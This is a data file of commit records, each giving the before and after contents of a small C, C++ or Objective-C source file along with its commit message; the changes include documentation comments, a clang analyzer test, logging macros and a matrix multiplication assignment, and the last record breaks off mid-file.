{"commit":"00429da5931314964a3f9d91ed93e32a0a6ab7b2","old_file":"PBWebViewController\/PBWebViewController.h","new_file":"PBWebViewController\/PBWebViewController.h","old_contents":"\/\/\n\/\/  PBWebViewController.h\n\/\/  Pinbrowser\n\/\/\n\/\/  Created by Mikael Konutgan on 11\/02\/2013.\n\/\/  Copyright (c) 2013 Mikael Konutgan. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface PBWebViewController : UIViewController <UIWebViewDelegate>\n\n@property (strong, nonatomic) NSURL *URL;\n\n@property (strong, nonatomic) NSArray *activityItems;\n@property (strong, nonatomic) NSArray *applicationActivities;\n@property (strong, nonatomic) NSArray *excludedActivityTypes;\n\n\/**\n * A Boolean indicating whether the web view controller’s toolbar,\n * which displays a stop\/refresh, back, forward and share button, is shown.\n * The default value of this property is `YES`.\n *\/\n@property (assign, nonatomic) BOOL showsNavigationToolbar;\n\n- (void)load;\n- (void)clear;\n\n@end\n","new_contents":"\/\/\n\/\/  PBWebViewController.h\n\/\/  Pinbrowser\n\/\/\n\/\/  Created by Mikael Konutgan on 11\/02\/2013.\n\/\/  Copyright (c) 2013 Mikael Konutgan. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface PBWebViewController : UIViewController <UIWebViewDelegate>\n\n\/**\n * The URL that will be loaded by the web view controller.\n * If there is one present when the web view appears, it will be automatically loaded, by calling `load`,\n * Otherwise, you can set a `URL` after the web view has already been loaded and then manually call `load`.\n *\/\n@property (strong, nonatomic) NSURL *URL;\n\n\/** The array of data objects on which to perform the activity. *\/\n@property (strong, nonatomic) NSArray *activityItems;\n\n\/** An array of UIActivity objects representing the custom services that your application supports. *\/\n@property (strong, nonatomic) NSArray *applicationActivities;\n\n\/** The list of services that should not be displayed. *\/\n@property (strong, nonatomic) NSArray *excludedActivityTypes;\n\n\/**\n * A Boolean indicating whether the web view controller’s toolbar,\n * which displays a stop\/refresh, back, forward and share button, is shown.\n * The default value of this property is `YES`.\n *\/\n@property (assign, nonatomic) BOOL showsNavigationToolbar;\n\n\/**\n * Loads the given `URL`. This is called automatically when the when the web view appears if a `URL` exists,\n * otehrwise it can be called manually.\n *\/\n- (void)load;\n\n\/**\n * Clears the contents of the web view.\n *\/\n- (void)clear;\n\n@end\n","subject":"Document all the public properties and methods","message":"Document all the public properties and methods\n","lang":"C","license":"mit","repos":"kmikael\/PBWebViewController,jhmcclellandii\/PBWebViewController,mobitar\/MBXWebViewController,junjie\/PBWebViewController"}
{"commit":"e143b52dbbee202551c0ccc7ce594cbe530a8391","old_file":"ArcGISRuntimeSDKQt_CppSamples\/Maps\/SetInitialMapLocation\/SetInitialMapLocation.h","new_file":"ArcGISRuntimeSDKQt_CppSamples\/Maps\/SetInitialMapLocation\/SetInitialMapLocation.h","old_contents":"\/\/ [WriteFile Name=SetInitialMapLocation, Category=Maps]\n\/\/ [Legal]\n\/\/ Copyright 2015 Esri.\n\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\ns\/\/ [Legal]\n\n#ifndef SET_INITIAL_MAP_LOCATION_H\n#define SET_INITIAL_MAP_LOCATION_H\n\nnamespace Esri\n{\n    namespace ArcGISRuntime\n    {\n        class Map;\n        class MapQuickView;\n    }\n}\n\n#include <QQuickItem>\n\nclass SetInitialMapLocation : public QQuickItem\n{\n    Q_OBJECT\n\npublic:\n    SetInitialMapLocation(QQuickItem* parent = 0);\n    ~SetInitialMapLocation();\n\n    void componentComplete() Q_DECL_OVERRIDE;\n\nprivate:\n    Esri::ArcGISRuntime::Map* m_map;\n    Esri::ArcGISRuntime::MapQuickView* m_mapView;\n};\n\n#endif \/\/ SET_INITIAL_MAP_LOCATION_H\n\n","new_contents":"\/\/ [WriteFile Name=SetInitialMapLocation, Category=Maps]\n\/\/ [Legal]\n\/\/ Copyright 2015 Esri.\n\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ [Legal]\n\n#ifndef SET_INITIAL_MAP_LOCATION_H\n#define SET_INITIAL_MAP_LOCATION_H\n\nnamespace Esri\n{\n    namespace ArcGISRuntime\n    {\n        class Map;\n        class MapQuickView;\n    }\n}\n\n#include <QQuickItem>\n\nclass SetInitialMapLocation : public QQuickItem\n{\n    Q_OBJECT\n\npublic:\n    SetInitialMapLocation(QQuickItem* parent = 0);\n    ~SetInitialMapLocation();\n\n    void componentComplete() Q_DECL_OVERRIDE;\n\nprivate:\n    Esri::ArcGISRuntime::Map* m_map;\n    Esri::ArcGISRuntime::MapQuickView* m_mapView;\n};\n\n#endif \/\/ SET_INITIAL_MAP_LOCATION_H\n\n","subject":"Fix legal comment build error","message":"Fix legal comment build error\n","lang":"C","license":"apache-2.0","repos":"Esri\/arcgis-runtime-samples-qt,Esri\/arcgis-runtime-samples-qt,Esri\/arcgis-runtime-samples-qt,Esri\/arcgis-runtime-samples-qt"}
{"commit":"2380cb3c0804df11297de421c4defec96de19f8b","old_file":"src\/2D_element_arithmetic.c","new_file":"src\/2D_element_arithmetic.c","old_contents":"#include<2D_element_arithmetic.h>\n\nmatrix * elem_matrix_operation(elem (*fp)(elem, float), matrix * m, \n        float param) {\n    int i, j = 0;\n    for(i = 0; i < m->rows; i++) {\n        for(j =0; j < m->columns; j++) {\n            set_matrix_member(m, i+1, j+1, \n                    (*fp)(m->arr[i*m->columns +j], param));\n        }\n    }\n    return m;\n}\n\nelem pow_elem(elem x, float p) {\n    return (elem)pow(x, p);\n}\n\nelem sqroot_elem(elem x, float p) {\n    float r = (float)1 \/ p;\n    return pow_elem(x, r);\n}\n\n\n\n","new_contents":"#include<2D_element_arithmetic.h>\n\nmatrix * elem_matrix_operation(elem (*fp)(elem, float), matrix * m, \n        float param) {\n    int i, j = 0;\n    for(i = 0; i < m->rows; i++) {\n        for(j =0; j < m->columns; j++) {\n            set_matrix_member(m, i+1, j+1, \n                    (*fp)(m->arr[i*m->columns +j], param));\n        }\n    }\n    return m;\n}\n\nelem pow_elem(elem x, float p) {\n    return (elem)floor(pow((float)x, p));\n}\n\nelem sqroot_elem(elem x, float p) {\n    float r = (float)1 \/ p;\n    return pow_elem(x, r);\n}\n\n\n\n","subject":"Make explicit the casts and floor division in pow_elem function","message":"Make explicit the casts and floor division in pow_elem function\n","lang":"C","license":"mit","repos":"cphang99\/matrix_playground,cphang99\/matrix_playground,cphang99\/matrix_playground"}
{"commit":"fab6f220cdbcd7269d8f6e19988774efe0a49983","old_file":"test\/Analysis\/stack-addr-ps.c","new_file":"test\/Analysis\/stack-addr-ps.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nint* f1() {\n  int x = 0;\n  return &x; \/\/ expected-warning{{Address of stack memory associated with local variable 'x' returned.}} expected-warning{{address of stack memory associated with local variable 'x' returned}}\n}\n\nint* f2(int y) {\n  return &y;  \/\/ expected-warning{{Address of stack memory associated with local variable 'y' returned.}} expected-warning{{address of stack memory associated with local variable 'y' returned}}\n}\n\nint* f3(int x, int *y) {\n  int w = 0;\n  \n  if (x)\n    y = &w;\n    \n  return y; \/\/ expected-warning{{Address of stack memory associated with local variable 'w' returned.}}\n}\n\nvoid* compound_literal(int x) {\n  if (x)\n    return &(unsigned short){((unsigned short)0x22EF)}; \/\/ expected-warning{{Address of stack memory}} expected-warning{{braces around scalar initializer}}\n\n  int* array[] = {};\n  struct s { int z; double y; int w; };\n  return &((struct s){ 2, 0.4, 5 * 8 }); \/\/ expected-warning{{Address of stack memory}}\n}\n\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nint* f1() {\n  int x = 0;\n  return &x; \/\/ expected-warning{{Address of stack memory associated with local variable 'x' returned.}} expected-warning{{address of stack memory associated with local variable 'x' returned}}\n}\n\nint* f2(int y) {\n  return &y;  \/\/ expected-warning{{Address of stack memory associated with local variable 'y' returned.}} expected-warning{{address of stack memory associated with local variable 'y' returned}}\n}\n\nint* f3(int x, int *y) {\n  int w = 0;\n  \n  if (x)\n    y = &w;\n    \n  return y; \/\/ expected-warning{{Address of stack memory associated with local variable 'w' returned.}}\n}\n\nvoid* compound_literal(int x, int y) {\n  if (x)\n    return &(unsigned short){((unsigned short)0x22EF)}; \/\/ expected-warning{{Address of stack memory}} expected-warning{{braces around scalar initializer}}\n\n  int* array[] = {};\n  struct s { int z; double y; int w; };\n  \n  if (y)\n    return &((struct s){ 2, 0.4, 5 * 8 }); \/\/ expected-warning{{Address of stack memory}}\n    \n  \n  void* p = &((struct s){ 42, 0.4, x ? 42 : 0 });\n  return p;\n}\n\n","subject":"Enhance compound literal test case.","message":"Enhance compound literal test case.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58480 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"ff4417bbf993d1695567ce8672a2c19f6f48f557","old_file":"lib\/Headers\/varargs.h","new_file":"lib\/Headers\/varargs.h","old_contents":"\/*===---- varargs.h - Variable argument handling -------------------------------------===\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in\n* all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n* THE SOFTWARE.\n*\n*===-----------------------------------------------------------------------===\n*\/\n#ifndef __VARARGS_H\n#define __VARARGS_H\n  #error \"Please use <stdarg.h> instead of <varargs.h>\"\n#endif","new_contents":"\/*===---- varargs.h - Variable argument handling -------------------------------------===\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in\n* all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n* THE SOFTWARE.\n*\n*===-----------------------------------------------------------------------===\n*\/\n#ifndef __VARARGS_H\n#define __VARARGS_H\n  #error \"Please use <stdarg.h> instead of <varargs.h>\"\n#endif\n","subject":"Add a newline at the end of the file.","message":"Add a newline at the end of the file.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@99026 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"ce3668fd60044c328af41b358a66a0e6741db1fb","old_file":"boot\/espressif\/hal\/include\/esp_log.h","new_file":"boot\/espressif\/hal\/include\/esp_log.h","old_contents":"\/*\n * Copyright (c) 2021 Espressif Systems (Shanghai) Co., Ltd.\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#pragma once\n#include <mcuboot_config\/mcuboot_logging.h>\n\n#define ESP_LOGE(tag, fmt, ...) MCUBOOT_LOG_ERR(fmt, ##__VA_ARGS__)\n#define ESP_LOGW(tag, fmt, ...) MCUBOOT_LOG_WRN(fmt, ##__VA_ARGS__)\n#define ESP_LOGI(tag, fmt, ...) MCUBOOT_LOG_INF(fmt, ##__VA_ARGS__)\n#define ESP_LOGD(tag, fmt, ...) MCUBOOT_LOG_DBG(fmt, ##__VA_ARGS__)\n","new_contents":"\/*\n * SPDX-FileCopyrightText: 2021 Espressif Systems (Shanghai) CO LTD\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#pragma once\n#include <mcuboot_config\/mcuboot_logging.h>\n\n#define ESP_LOGE(tag, fmt, ...) MCUBOOT_LOG_ERR(\"[%s] \" fmt, tag, ##__VA_ARGS__)\n#define ESP_LOGW(tag, fmt, ...) MCUBOOT_LOG_WRN(\"[%s] \" fmt, tag, ##__VA_ARGS__)\n#define ESP_LOGI(tag, fmt, ...) MCUBOOT_LOG_INF(\"[%s] \" fmt, tag, ##__VA_ARGS__)\n#define ESP_LOGD(tag, fmt, ...) MCUBOOT_LOG_DBG(\"[%s] \" fmt, tag, ##__VA_ARGS__)\n#define ESP_LOGV(tag, fmt, ...) MCUBOOT_LOG_DBG(\"[%s] \" fmt, tag, ##__VA_ARGS__)\n\n#define ESP_EARLY_LOGE(tag, fmt, ...) MCUBOOT_LOG_ERR(\"[%s] \" fmt, tag, ##__VA_ARGS__)\n#define ESP_EARLY_LOGW(tag, fmt, ...) MCUBOOT_LOG_WRN(\"[%s] \" fmt, tag, ##__VA_ARGS__)\n#define ESP_EARLY_LOGI(tag, fmt, ...) MCUBOOT_LOG_INF(\"[%s] \" fmt, tag, ##__VA_ARGS__)\n#define ESP_EARLY_LOGD(tag, fmt, ...) MCUBOOT_LOG_DBG(\"[%s] \" fmt, tag, ##__VA_ARGS__)\n#define ESP_EARLY_LOGV(tag, fmt, ...) MCUBOOT_LOG_DBG(\"[%s] \" fmt, tag, ##__VA_ARGS__)\n","subject":"Use \"TAG\" field from ESP_LOG* macros from IDF libraries","message":"espressif: Use \"TAG\" field from ESP_LOG* macros from IDF libraries\n\nSigned-off-by: Gustavo Henrique Nihei <42b1270cfd1a4f11d4db08d9d441d5d8452cd3b6@espressif.com>\n","lang":"C","license":"apache-2.0","repos":"runtimeco\/mcuboot,ATmobica\/mcuboot,ATmobica\/mcuboot,ATmobica\/mcuboot,runtimeco\/mcuboot,ATmobica\/mcuboot,runtimeco\/mcuboot,runtimeco\/mcuboot,runtimeco\/mcuboot,ATmobica\/mcuboot"}
{"commit":"fe5717664e4220a0bde701fc3239ef7eabe4f138","old_file":"MdeModulePkg\/Universal\/HiiDatabaseDxe\/R8Lib.h","new_file":"MdeModulePkg\/Universal\/HiiDatabaseDxe\/R8Lib.h","old_contents":"\/** @file\nImplement a utility function named R8_EfiLibCompareLanguage.\n\n  Copyright (c) 2007 - 2008, Intel Corporation\n\n  All rights reserved. This program and the accompanying materials\n  are licensed and made available under the terms and conditions of the BSD License\n  which accompanies this distribution.  The full text of the license may be found at\n  http:\/\/opensource.org\/licenses\/bsd-license.php\n\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\n\n\n**\/\n\n#ifndef __R8_LIB_H__\n#define __R8_LIB_H__\n\n\n\/**\n  Compare whether two names of languages are identical.\n\n  @param  Language1              Name of language 1\n  @param  Language2              Name of language 2\n\n  @retval TRUE                   same\n  @retval FALSE                  not same\n\n**\/\nBOOLEAN\nR8_EfiLibCompareLanguage (\n  IN  CHAR8  *Language1,\n  IN  CHAR8  *Language2\n  )\n;\n\n\n#endif\n\n\n","new_contents":"\/** @file\r\nImplement a utility function named R8_EfiLibCompareLanguage.\r\n\r\n  Copyright (c) 2007 - 2008, Intel Corporation\r\n\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n\r\n**\/\r\n\r\n#ifndef __R8_LIB_H__\r\n#define __R8_LIB_H__\r\n\r\n\r\n\/**\r\n  Compare whether two names of languages are identical.\r\n\r\n  @param  Language1              Name of language 1\r\n  @param  Language2              Name of language 2\r\n\r\n  @retval TRUE                   same\r\n  @retval FALSE                  not same\r\n\r\n**\/\r\nBOOLEAN\r\nR8_EfiLibCompareLanguage (\r\n  IN  CHAR8  *Language1,\r\n  IN  CHAR8  *Language2\r\n  )\r\n;\r\n\r\n\r\n#endif\r\n\r\n\r\n","subject":"Update to use DOS format","message":"Update to use DOS format\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@6339 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"2cb139d6f1660d7354a8b9a3e1a86d9bc45aead1","old_file":"Pod\/Classes\/Models\/LKManager.h","new_file":"Pod\/Classes\/Models\/LKManager.h","old_contents":"\/\/\n\/\/  LKManager.h\n\/\/\n\/\/  Created by Vlad Gorbenko on 4\/21\/15.\n\/\/  Copyright (c) 2015 Vlad Gorbenko. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"LKLanguage.h\"\n\nextern NSString *const LKLanguageDidChangeNotification;\n\nextern NSString *const LKSourceDefault;\nextern NSString *const LKSourcePlist;\n\nNSString *LKLocalizedString(NSString *key, NSString *comment);\n\n@interface LKManager : NSObject{\n    NSDictionary *_vocabluary;\n}\n\n@property (nonatomic, strong) LKLanguage *currentLanguage;\n@property (nonatomic, readonly) NSArray *languages;\n\n+ (void)setLocalizationFilename:(NSString *)localizationFilename;\n\n+ (LKManager*)sharedInstance;\n+ (void)nextLanguage;\n\n- (NSString *)titleForKeyPathIdentifier:(NSString *)keyPathIdentifier;\n\n+ (NSMutableArray *)simpleViews;\n+ (NSMutableArray *)rightToLeftLanguagesCodes;\n\n+ (void)addLanguage:(LKLanguage *)language;\n+ (void)removeLanguage:(LKLanguage *)language;\n\n- (NSString *)setLocalizationSource:(NSString *)source;\n\n@end\n","new_contents":"\/\/\n\/\/  LKManager.h\n\/\/\n\/\/  Created by Vlad Gorbenko on 4\/21\/15.\n\/\/  Copyright (c) 2015 Vlad Gorbenko. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"LKLanguage.h\"\n\nextern NSString *const LKLanguageDidChangeNotification;\n\nextern NSString *const LKSourceDefault;\nextern NSString *const LKSourcePlist;\n\nNSString *LKLocalizedString(NSString *key, NSString *comment);\n\n@interface LKManager : NSObject{\n    NSDictionary *_vocabluary;\n}\n\n@property (nonatomic, strong) LKLanguage *currentLanguage;\n@property (nonatomic, readonly) NSArray *languages;\n\n+ (void)setLocalizationFilename:(NSString *)localizationFilename;\n\n+ (LKManager*)sharedInstance;\n+ (void)nextLanguage;\n\n- (NSString *)titleForKeyPathIdentifier:(NSString *)keyPathIdentifier;\n\n+ (NSMutableArray *)simpleViews;\n+ (NSMutableArray *)rightToLeftLanguagesCodes;\n\n+ (void)addLanguage:(LKLanguage *)language;\n+ (void)removeLanguage:(LKLanguage *)language;\n\n- (LKLanguage *)languageByCode:(NSString *)code;\n\n- (NSString *)setLocalizationSource:(NSString *)source;\n\n@end\n","subject":"Make language by code public.","message":"Make language by code public.\n","lang":"C","license":"mit","repos":"mojidabckuu\/Loki,mojidabckuu\/Loki"}
{"commit":"fee172d7eafd98a5df3c251ed5065f9e91eb4b2a","old_file":"coursework\/assignment1\/matrix_multiplication.c","new_file":"coursework\/assignment1\/matrix_multiplication.c","old_contents":"#include <stdio.h>\n#include <mpi.h>\n\nint main(int argc, char *argv[]) {\n  int numprocs, rank, namelen;\n  char processor_name[MPI_MAX_PROCESSOR_NAME];\n\n  MPI_Init(&argc, &argv);\n  MPI_Comm_size(MPI_COMM_WORLD, &numprocs);\n  MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n  MPI_Get_processor_name(processor_name, &namelen);\n\n  \/\/ TODO\n\n  MPI_Finalize();\n  return 0;\n}\n","new_contents":"\/\/ mat_x num of rows equals to\n\/\/ mat_a num of rows\n#define A_ROWS 3\n#define X_ROWS 3\n\/\/ mat_x num of cols equals to\n\/\/ mat_b num of cols\n#define B_COLS 3\n#define X_COLS 3\n\/\/ mat_a num of cols should be equals to\n\/\/ mat_b num of rows\n#define A_COLS 2\n#define B_ROWS 2\n\n#include <stdio.h>\n\/\/ #include <mpi.h>\n\nvoid print_matrix(char* name, int rows, int cols, int matrix[rows][cols]) {\n\n    printf(\"\\n%s [%d][%d]\\n\", name, rows, cols);\n    for (int row = 0; row < rows; row++){\n        for (int col = 0; col < cols; col++)\n            printf(\"%d \", matrix[row][col]);\n        printf(\"\\n\");\n    }\n}\n\nint main(int argc, char *argv[]) {\n\n    int matrix_a [A_ROWS][A_COLS] = {\n        {9, 0},\n        {5, 6},\n        {1, 2}\n    };\n\n    int matrix_b [B_ROWS][B_COLS] = {\n        {2, 4, 3},\n        {7, 8, 9}\n    };\n\n    int matrix_x [X_ROWS][X_COLS];\n\n    \/\/ multipy matrices a and b\n    for (int row = 0; row < A_ROWS; row++) {\n        for (int col = 0; col < B_COLS; col++) {\n            int sum = 0;\n            for (int ctrl = 0; ctrl < B_ROWS; ctrl++)\n                sum = sum + matrix_a[row][ctrl] * matrix_b[ctrl][col];\n            matrix_x[row][col] = sum;\n        }\n    }\n\n    print_matrix(\"Matrix A\", A_ROWS, A_COLS, matrix_a);\n    print_matrix(\"Matrix B\", B_ROWS, B_COLS, matrix_b);\n    print_matrix(\"Matrix X\", X_ROWS, X_COLS, matrix_x);\n\n    printf(\"\\n\");\n\n    \/\/ TODO\n\n    \/\/ int numprocs, rank, namelen;\n    \/\/ char processor_name[MPI_MAX_PROCESSOR_NAME];\n\n    \/\/ MPI_Init(&argc, &argv);\n    \/\/ MPI_Comm_size(MPI_COMM_WORLD, &numprocs);\n    \/\/ MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n    \/\/ MPI_Get_processor_name(processor_name, &namelen);\n\n    \/\/ MPI_Finalize();\n\n    return 0;\n}\n","subject":"Add matrix multiplication code in C","message":"Add matrix multiplication code in C\n","lang":"C","license":"mit","repos":"arthurazs\/uff-lpp,arthurazs\/uff-lpp,arthurazs\/uff-lpp"}
{"commit":"d0ae779c15cfa916a186dff8872e2a3f4401c2d3","old_file":"snapshots\/hacl-c\/Random.h","new_file":"snapshots\/hacl-c\/Random.h","old_contents":"\/* This file was auto-generated by KreMLin! *\/\n#ifndef __Random_H\n#define __Random_H\n\n\n#include \"kremlib.h\"\n#include \"config.h\"\n#include \"drng.h\"\n#include \"cpuid.h\"\n\ntypedef uint8_t u8;\n\ntypedef uint32_t u32;\n\ntypedef uint64_t u64;\n\ntypedef uint8_t *bytes;\n\nuint32_t random_uint32();\n\nuint64_t random_uint64();\n\nvoid random_bytes(uint8_t *rand, uint32_t n);\n\nuint32_t randseed_uint32();\n\nuint64_t randseed_uint64();\n#endif\n","new_contents":"\/* This file was auto-generated by KreMLin! *\/\n#ifndef __Random_H\n#define __Random_H\n\n\n#include \"kremlib.h\"\n#include \"config.h\"\n#include \"drng.h\"\n#include \"cpuid.h\"\n\ntypedef uint8_t u8;\n\ntypedef uint32_t u32;\n\ntypedef uint64_t u64;\n\nuint32_t random_uint32();\n\nuint64_t random_uint64();\n\nvoid random_bytes(uint8_t *rand, uint32_t n);\n\nuint32_t randseed_uint32();\n\nuint64_t randseed_uint64();\n#endif\n","subject":"Remove a redifinition of type 'bytes'","message":"Remove a redifinition of type 'bytes'\n","lang":"C","license":"apache-2.0","repos":"mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star,mitls\/hacl-star"}
{"commit":"32adade0be324e7280a606adaaa17279ab2b7c7d","old_file":"doxygen\/main_page.c","new_file":"doxygen\/main_page.c","old_contents":"\/**\n @mainpage M-Stack\n \n @section Intro\n This is M-Stack, a free USB Device Stack for PIC Microcontrollers. For more information, see the <a href=\"group__public__api.html\">Public API Page.<\/a>\n \n *\/\n \n ","new_contents":"\/**\n @mainpage M-Stack\n \n @section Intro\n This is M-Stack, a free USB Device Stack for PIC Microcontrollers.\n\n For more information, see the <a href=\"http:\/\/www.signal11.us\/oss\/m-stack\">main web page.<\/a>\n\n For API documentation, see the <a href=\"group__public__api.html\">Public API Page.<\/a>\n \n *\/\n \n ","subject":"Add web page link to the main doxygen page","message":"doxygen: Add web page link to the main doxygen page\n","lang":"C","license":"apache-2.0","repos":"rollingstone\/m-stack,rollingstone\/m-stack,pololu\/m-stack,pololu\/m-stack"}
{"commit":"4dc1a5ab19c9cc8a84d726d4a01d0e3ea75644b9","old_file":"include\/fish_detector\/common\/species_dialog.h","new_file":"include\/fish_detector\/common\/species_dialog.h","old_contents":"\/\/\/ @file\n\/\/\/ @brief Defines SpeciedDialog class.\n\n#ifndef SPECIES_DIALOG_H\n#define SPECIES_DIALOG_H\n\nnamespace fish_detector {\n\nclass SpeciesDialog : public QDialog {\n  Q_OBJECT\n#ifndef NO_TESTING\n  friend class TestSpeciesDialog;\n#endif\npublic:\n  \/\/\/ @brief Constructor.\n  \/\/\/\n  \/\/\/ @param parent Parent widget.\n  explicit SpeciesDialog(QWidget *parent = 0);\n\nprivate slots:\n  \/\/\/ @brief Emits the accepted signal.\n  void on_ok_clicked();\n\n  \/\/\/ @brief Emits the rejected signal.\n  void on_cancel_clicked();\n\n  \/\/\/ @brief Removes currently selected subspecies.\n  void on_removeSubspecies_clicked();\n\n  \/\/\/ @brief Adds a new subspecies.\n  void on_addSubspecies_clicked();\n\n  \/\/\/ @brief Returns a Species object corresponding to the dialog values.\n  \/\/\/\n  \/\/\/ @return Species object corresponding to the dialog values.\n  Species getSpecies();\n};\n\n} \/\/ namespace fish_detector\n\n#endif \/\/ SPECIES_DIALOG_H\n","new_contents":"\/\/\/ @file\n\/\/\/ @brief Defines SpeciesDialog class.\n\n#ifndef SPECIES_DIALOG_H\n#define SPECIES_DIALOG_H\n\n#include <memory>\n\n#include <QWidget>\n#include <QDialog>\n\n#include \"fish_detector\/common\/species.h\"\n\nnamespace Ui {\n  class SpeciesDialog;\n}\n\nnamespace fish_detector {\n\nclass SpeciesDialog : public QDialog {\n  Q_OBJECT\n#ifndef NO_TESTING\n  friend class TestSpeciesDialog;\n#endif\npublic:\n  \/\/\/ @brief Constructor.\n  \/\/\/\n  \/\/\/ @param parent Parent widget.\n  explicit SpeciesDialog(QWidget *parent = 0);\n\n  \/\/\/ @brief Returns a Species object corresponding to the dialog values.\n  \/\/\/\n  \/\/\/ @return Species object corresponding to the dialog values.\n  Species getSpecies();\n\nprivate slots:\n  \/\/\/ @brief Emits the accepted signal.\n  void on_ok_clicked();\n\n  \/\/\/ @brief Emits the rejected signal.\n  void on_cancel_clicked();\n\n  \/\/\/ @brief Removes currently selected subspecies.\n  void on_removeSubspecies_clicked();\n\n  \/\/\/ @brief Adds a new subspecies.\n  void on_addSubspecies_clicked();\n\nprivate:\n  \/\/\/ @brief Widget loaded from ui file.\n  std::unique_ptr<Ui::SpeciesDialog> ui_;\n};\n\n} \/\/ namespace 